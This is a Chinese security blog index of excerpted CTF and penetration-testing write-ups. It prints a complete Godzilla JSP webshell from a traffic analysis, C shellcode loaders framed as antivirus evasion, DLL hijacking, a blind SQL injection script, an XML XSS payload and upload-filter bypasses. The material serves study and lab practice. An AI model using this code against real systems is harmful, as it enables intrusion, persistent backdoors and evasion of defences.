helloctf 反序列化靶场

php反序列化靶场做题 level 2 <?php /* --- HelloCTF - 反序列化靶场 关卡 2 : 类值的传递 --- HINT:尝试将flag传递出来~ # -*- coding: utf-8 -*- # @Author: 探姬 # @Date: 2024-07-01 20:30 # @Repo: github.com/ProbiusOfficial/PHPSerialize-labs # @email: admin@hello-ctf.com # @link: hello-ctf.com */ error_reporting(0); $flag_string = "NSSCTF{????}"; class FLAG{ public $free_flag = "???"; function get_free_flag(){ echo $this->free_flag; } } $target = new FLAG(); $code = $_POST['code']; if(isset($code)){ eval($code); $target->get_free_flag(); } else{ highlight_file('source'); } 从上往下 可控点位于$code = $_POST['code'];flag位于$flag_string根据代码可以修改class中的$free_flag值为$flag_string ...

December 27, 2024 · 10 min · 1999 words · neko

php反序列化

若unserialize()可控则可导致特制的序列化数据经过其被反序列化后触发程序代码中的安全问题 常见魔术方法表 魔术方法 功能描述 使用场景 __construct() 类的构造函数,在对象创建时调用。 用于初始化对象属性或执行其他必要的初始化操作。 __destruct() 类的析构函数,在对象销毁时调用。 用于清理资源,如关闭文件、数据库连接或其他外部资源。 __call() 当调用类中不存在或不可访问的方法时自动调用。 用于动态处理方法调用,如方法名称和参数未知的情况。 __callStatic() 当调用类中不存在或不可访问的静态方法时自动调用。 用于动态处理静态方法调用,如静态方法名称和参数未知的情况。 __get() 当访问类中不存在或不可访问的属性时自动调用。 用于动态获取属性值,通常结合 __set() 使用。 __set() 当设置类中不存在或不可访问的属性时自动调用。 用于动态设置属性值,通常结合 __get() 使用。 __isset() 当使用 isset() 或 empty() 检查类的属性时自动调用。 用于检查类的属性是否已设置。 __unset() 当使用 unset() 删除类的属性时自动调用。 用于删除类的属性,或在删除前执行额外的逻辑。 __toString() 当对象作为字符串使用时自动调用。 用于自定义对象的字符串表示,通常在 echo 或 print 中使用。 __invoke() 使对象可调用,允许对象像函数一样被调用。 用于实现对象的可调用性。 __clone() 当对象被克隆时自动调用。 用于自定义对象克隆时的行为。 __sleep() 当对象被序列化时自动调用,返回一个属性名的数组,表示需要序列化的属性。 用于在序列化对象之前决定哪些属性需要保存。 __wakeup() 当对象被反序列化时自动调用。 用于恢复对象的状态或重新初始化属性。 __set_state() 当使用 var_export() 导出对象时自动调用。 用于定义对象导出时的行为,可以控制对象的导出输出。 __isset() 当调用对象的某个属性时,PHP 会先检查该属性是否存在,如果不存在,自动调用该方法。 可以用来处理某些不存在的属性。 样例: <?php // 定义 Webshell 类,和目标代码中的 Webshell 类保持一致 class Webshell { public $cmd = 'echo "Hello World!"'; public function __construct() { $this->init(); } public function init() { if (!preg_match('/flag/i', $this->cmd)) { $this->exec($this->cmd); } } public function exec($cmd) { $result = shell_exec($cmd); echo $result; } } // 创建 Webshell 对象并修改 cmd 属性 $webshell = new Webshell(); $webshell->cmd = 'cat flag.txt'; // 修改 cmd 为你想执行的命令 // 序列化该对象 $serialized = serialize($webshell); // 输出序列化后的字符串 echo $serialized; ?> 对照魔术方法表不难看出,这个样例通过修改类内置的cmd变量并将序列化的对象输出,再复用这个对象时,其中的echo "Hello World!"就会变成cat flag.txt ...

November 27, 2024 · 2 min · 247 words · neko

玄机哥斯拉4.0流量分析

黑客ip 打开wireshark,一眼ip flag{192.168.31.190} 什么漏洞 过滤ip.src == 192.168.31.190 && http下面会看到一个put请求的hello.jsp put上传漏洞 是tomcat的CVE-2017-12615 flag{cve-2017-12615} 木马文件名 flag{hello.jsp} 连接密码 and 密钥 源码如下 <%! String xc="1710acba6220f62b"; String pass="7f0e6f"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){} %> 不难看出是标准的哥斯拉木马 ...

November 5, 2024 · 2 min · 287 words · neko

shellcode加载执行

shellcode执行 具体何谓shellcode可以看这篇文章 https://srcblog.neko25.top/index.php/archives/28/ 聊了聊shellcode的基础,windows与linux原理相同,方便起见直接使用cs生成 指针执行 将shellcode存储与数组,并取数组地址,将地址转换为void无参数函数指针,并去执行,代码如下 #include <iostream> #include <Windows.h> // 指定链接器选项,修改.data段为可读、可写、可执行 #pragma comment(linker, "/section:.data,RWE") // shellcode unsigned char hexData[990] = { }; int main() { // 将hexData转换为函数指针并执行 ((void(*)(void)) & hexData)(); return 0; } 这也是网上很多shellcodeloader教程给出的第一个最基础的loader ,但其实是有问题的,当代的windows都有一个叫做DEP数据执行保护的安全机制,在编写此类的loader时需要手动修改他,可以使用VirtualProtect BOOL VirtualProtect( LPVOID lpAddress, // 指向要修改的内存区域的起始地址 SIZE_T dwSize, // 需要修改的内存区域大小,以字节为单位 DWORD flNewProtect, // 新的保护属性(如只读、读写、可执行等) PDWORD lpflOldProtect // 保存旧的保护属性的指针 ); int main() { VirtualProtect(hexData, sizeof(hexData), PAGE_EXECUTE_READWRITE, NULL); // 将hexData转换为函数指针并执行 ((void(*)(void)) & hexData)(); return 0; } 远程线程注入 简单理解,在已存在的进程中创建一个空间运行注入shellcode的内存空间 ...

October 12, 2024 · 3 min · 494 words · neko

免杀——DLL劫持上线

免杀 DLL劫持 什么是DLL windows上的动态链接库,允许多个程序复用一个dll中的代码,从而减少程序体积,详细介绍可以看 https://learn.microsoft.com/zh-cn/troubleshoot/windows-client/setup-upgrade-and-drivers/dynamic-link-library 动态链接库的创建 安装vs studio在其中就可以创建出dll项目,其中的DllMain就是函数入口 下属的switch分支四个case分别代表了,进程加载时进入,创建了一个新线程时进入,线程退出时进入,卸载dll时进入 // dllmain.cpp : 定义 DLL 应用程序的入口点。 #include "pch.h" BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } 其中下面四个case分别是 DLL_PROCESS_ATTACH 如果有全新进程加载dll DLL_THREAD_ATTACH 当新线程被加载 DLL_THREAD_DETACH 当有一个线程退出时 DLL_PROCESS_DETACH 当进程卸载dll时 ps:进程包含线程,进程相互独立,线程共享进程 了解这些就可以写出以下的内容,例如我想在dll调用的时候输出一个helloword // dllmain.cpp : 定义 DLL 应用程序的入口点。 #include "pch.h" BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: MessageBox(NULL, L"Hello World!", L"DLL Loaded", MB_OK); break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; case DLL_PROCESS_DETACH: MessageBox(NULL, L"DLL_PROCESS_DETACH", L"DLL Loaded", MB_OK); break; } return TRUE; } 因为将dll写为,如果dll被加载或被卸载就弹窗,所以只需要写一个加载他的代码就好 ...

October 8, 2024 · 3 min · 519 words · neko

ueditorXSS

无论是edu还是其他的某些项目,经常能在灯塔寻获的资产里发现title是完成domo的网页,这种就基本保底一个存储xss了,运气好说不定还能拿到文件上传getshell的高危 ueditorXSS ueditor 一个经典的富文本编辑器,百度开发,问题在与他带的一个demo,如果被共享到公网就可以做文件上传造成xss 大概的页面是这样的,可能会有不同或者其他可能,后面说,其中能上传的文件后缀一般会出现在config文件中,一般位于 /ueditor/php/config.json /ueditor/asp/config.json /ueditor/jsp/config.json 这样的位置 一般会列举允许上传的文件,其中就包括这次利用的xml,xml是可以造成xss的 <html> <head> </head> <body> <something:script xmlns:something="http://www.w3.org/1999/xhtml">alert(1); </something:script> </body> </html> 调用图片上传接口 修改image为file然后上传即可获得一个xss链接 在.net的1.4.3版本中还存在有一个文件上传漏洞能直接上传.ashx但我没遇到过,可能是太老了,更加详细的漏洞师傅们可以看看https://forum.butian.net/share/167 特殊 遇到过一个特殊的 这里需要去console调用UE.getEditor(’editor’)才能拉起编辑器,但容易第一眼就忽略,有些标题是完整demo但完全没东西的可以这么试一试,说不定呢

September 30, 2024 · 1 min · 25 words · neko

文件上传碰壁

挖洞——某个大学上传 在翻灯塔的资产的时候看到了某个大学的某个服务存在注册,遂注册了一个账户上去看看 发现可以其中可以传输文件,常见的文件绕过点了一通发现存在白名单,通过报错把他的上传逻辑搞出来了 [8] ErrorException in Upload.php line 108 getimagesize(): Read error! return true; } throw new UploadException(__('Uploaded file format is limited')); } protected function checkImage($force = false) { //验证是否为图片文件 if (in_array($this->fileInfo['type'], ['image/gif', 'image/jpg', 'image/jpeg', 'image/bmp', 'image/png', 'image/webp']) || in_array($this->fileInfo['suffix'], ['gif', 'jpg', 'jpeg', 'bmp', 'png', 'webp'])) { $imgInfo = getimagesize($this->fileInfo['tmp_name']); if (!$imgInfo || !isset($imgInfo[0]) || !isset($imgInfo[1])) { throw new UploadException(__('Uploaded file is not a valid image')); } $this->fileInfo['imagewidth'] = isset($imgInfo[0]) ? $imgInfo[0] : 0; $this->fileInfo['imageheight'] = isset($imgInfo[1]) ? $imgInfo[1] : 0; return true; } else { return !$force; } 的确是一个白名单。。。还过了getimagesize,不好绕 在测试过程中还发现了,他能传pdf本来想尝试下pdfxss,但是。。。 https://mok.moe/p/ot80 遂去问了一嘴 寄

September 30, 2024 · 1 min · 94 words · neko

巅峰极客复现

复现会 php_online can you break this sandbox? 给了py文件,先读代码 第一眼过去肯定是看到/路由下的id传参,即 session['id'] = id # 将ID存储在会话中。 if not os.path.exists(f'/sandbox/{id}'): # 检查沙箱目录是否存在,如果不存在,则创建。 os.popen(f'mkdir /sandbox/{id} && chown www-data /sandbox/{id} && chmod a+w /sandbox/{id}').read() 这块内容,在复现会中师傅也说过题目在这里卡住了,想法是这个id的位置是否能够伪造,但是想到其在 if not id.isalnum() or len(id) != 8:这里就做了判断,其实是不行的,个人觉得这应该就是一个陷阱,继续往后跟踪,在创建沙箱后路由重定向到了/sandbox 在这里,code是可控的 code = request.form.get('code') 继续往下,第一个os操作会先进入到以用户id为名的文件夹中,并清空文件,而后以www-data的权限cp将app文件夹下的init.py复制到当前用户的目录,并以www-data的权限执行 os.popen(f'cd /sandbox/{user_id} && rm *').read() # 清空用户ID对应的文件夹 os.popen(f'sudo -u www-data cp /app/init.py /sandbox/{user_id}/init.py && cd /sandbox/{user_id} && sudo -u www-data python3 init.py').read() 然后删除之前的php代码,创建新的phpcode文件,写入code传入的参数 php_file = open(f'/sandbox/{user_id}/phpcode', 'w') # 打开PHP代码文件 php_file.write(code) # 将提交的代码写入文件 php_file.close() # 关闭文件 之后以nobody的权限执行php代码,完成后删除文件 ...

September 23, 2024 · 2 min · 382 words · neko

ctfshowWP

今后有关ctfshow的解题都会在这里 ctfshow web8 sql注入,不过过滤了很多东西,常见的and,union空格 但依旧可以通过 GET /index.php?id=2/**/or/**/true# GET /index.php?id=2/**/or/**/false# 来判断真假来注入 需要使用盲注,函数为ascii,原理就是比对 or/**/ascii(substr(database()from/**/1/**/for/**/1))=ascii(substr(database()from/**/1/**/for/**/1))%23 截取当前数据库的第一个字符,比对第一个字符,返回很多文章,证明是true,成功 查询当前数据库的代码 import requests def check_id(id_value, position): # position 递增 url = f"https://df8032cd-0662-449d-bb7d-7ccd15eb9c62.challenge.ctf.show/index.php?id=-1/**/or/**/ascii(substr(database()from/**/{position}/**/for/**/1))={id_value}#" response = requests.get(url, verify=False) # 长度大于 403 ASCII if len(response.content) > 403: ascii_value = chr(id_value) return ascii_value return None def main(): inp = "" position = 1 # 查询位置 while position <= 5: for i in range(0, 128): # 遍历ascii result = check_id(i, position) if result is not None: inp += result print(f"Position: {position}, ASCII: {result}") position += 1 break print(f"Final input: {inp}") if __name__ == "__main__": main() 查询到数据库名称为web8 ...

September 16, 2024 · 2 min · 316 words · neko

php文件上传靶场-upload_labs[未完成]

既在比赛中吃亏的时候就决定要再把这个靶场刷一边,当我还在寻思怎么绕过验证的时候队友就已经拿到webshell了,这个差距简直无法接受 pass-01 简单的js前端验证 约等于没有 过 pass-02 在源代码中关键点在与 if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) $_FILES这个超级数组是用于处理文件上传的信息的,其中包括客户端通过post传输的上传文件的文件信息,其中type这个字段是用于判断文件的类型,在流量包中体现为Content-Type:字段 将content-type修改为image/jpeg发包上传,成功 pass-03 在pass03的代码中他设置了一个黑名单并做了判定 $file_ext = strrchr($file_name, '.'); $deny_ext = array('.asp','.aspx','.php','.jsp'); if(!in_array($file_ext, $deny_ext)) 过滤掉了常见的脚本后缀,看似天衣无缝,但这个靶场使用的是apache的后端,而它其中存在一个配置文件httpd.conf 之中的AddType application/x-httpd-php .php .php3 .phtml语句用于告诉服务器将什么后缀的文件交予php解释器处理,这里除了php还有php3,phtml,这没有在代码的过滤器中 pass-04 这次过滤很严格 $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf"); 但还是在httpd.conf中,存在这样一条配置 AllowOverride All的作用是允许.htaccess 文件覆盖服务器的全局配置,这导致我们可以上传这个文件覆盖掉服务器配置文件,使得自定义的后缀被服务器的php解析 <IfModule mime_module> AddType application/x-httpd-php .boom </IfModule> 局限性:apache才存在,AllowOverride All默认关闭 pass-05 代码如下 $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess"); 发现了什么?过滤了hta,但就php没有过滤大小写 pass-06 第六题的代码中少了去除空格的一行代码 $file_ext = trim($file_ext); //首尾去空 而过滤中却没有,也就是可以构造php 来pass pass-07 这次提示直接说过滤了所有后缀 $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess"); 本次靶机使用的是windows,在windows中有一个特性,在后缀后面再加点这个点会被系统丢掉 利用这特性在后缀加点就可绕过 pass-08 pass8与前面的代码相比,少了一个::$DATA的过滤,其利用 NTFS 文件系统中的一个特性,替代数据流 (Alternate Data Streams, ADS) ...

September 14, 2024 · 2 min · 300 words · neko